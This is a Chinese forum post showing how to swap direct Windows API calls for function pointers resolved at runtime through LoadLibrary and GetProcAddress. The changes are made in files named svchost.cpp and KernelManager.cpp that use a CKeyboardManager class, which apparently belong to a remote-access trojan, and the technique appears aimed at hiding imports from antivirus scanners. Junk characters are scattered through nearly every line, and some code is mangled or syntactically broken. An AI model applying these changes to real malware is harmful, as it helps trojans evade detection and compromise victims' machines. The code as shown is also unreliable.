[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记+ _7 i5 c! h+ D
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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& d* s+ G( m3 U* {- J9 L4 F+ d& C; cDTDY.h：1 ~3 x- ~+ b, V! ]) ]& K! b

2 o% b! ?9 Q% X0 ^- N( v& H3 ]#if _MSC_VER>1000
; a8 L1 A( i: v#pragma once
' j! k- Z, ~. z! O! V#endif //_MSC_VER>10004 ], f/ l0 j, W3 e' [
#include<windows.h>5 P6 d1 N6 C& v7 T) h6 a0 t

* R  _9 v$ D* P' Utypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
6 J7 p6 C: P# H, K; Lclass DTDY
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public:
0 ^# S) _0 N5 I/ f& ~  y  bDTDY();
9 n/ }$ D) u, R- g# ivirtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
; q# c3 E5 n7 S7 Cstatic BOOL FunInitiallization();' D0 ^+ _5 B) G* F$ G# J; @$ q5 j) M
};
6 y/ R4 K) Z  a) h4 @0 L$ i6 ~#endif
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+ z# b  a% X9 l9 cDTDY.cpp:( P/ _* z3 G4 i2 N5 h0 s

! k, O4 x' l# c1 X+ l#include "DTDY.h"  K. E- B  p' ^: @$ X% X  G
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
( K' J3 q6 F$ {* ?, Z! WDTDY:TDY()
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DTDY::~DTDY(); T: h$ e6 S) T% I. F, V, C7 S/ J
{
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BOOL DTDY::FunInitiallization()1 d) |; N, p2 T! ~8 a) R
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HMODULE hModule=LoadLibrary("kernel32.dll");
5 V! v) G' ^. ~4 Y' }" J$ |: mMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
* A8 v9 }* S/ ]- \/ Uif(!MyGetModuleFileName=) return FALSE;
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return TRUE;. E) m* `) e; Y) ]" N5 Z  ]. U
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, Y- q1 s  B/ f% W8 ~$ \svchost.cpp:
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#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
; z% Q3 M  ~3 S$ M{
! B. j. {- K8 ]& M# k% Vswitch(ul_reason_for_call)
+ \5 |4 c# l. @9 D: S: B{6 H' Y: ~' p, C% |- o
case DLL_PROCESS_ATTACH:6 ^" e6 |2 a& }( }# r
if(!DTDY::FunInitiallization()) return FALSE;+ r% ?: @  a) y0 H

  x. @( W: L! T$ A5 A# A0 J+ N2 tbreak;
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& l3 \" t8 M3 W9 n5 ?" \GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def+ ^8 b$ `0 {5 E0 d6 g
改写为0 s( t+ g7 ~6 [& d
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:# i8 c! Z) [( D; t  ~
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#include "../DTDY.h"( J: c" C) \9 _- g
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
" g7 h3 q4 {. f  L改写为
2 M$ B  T0 G+ ], Z  M* I: UDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" B, N& \% }) V" q
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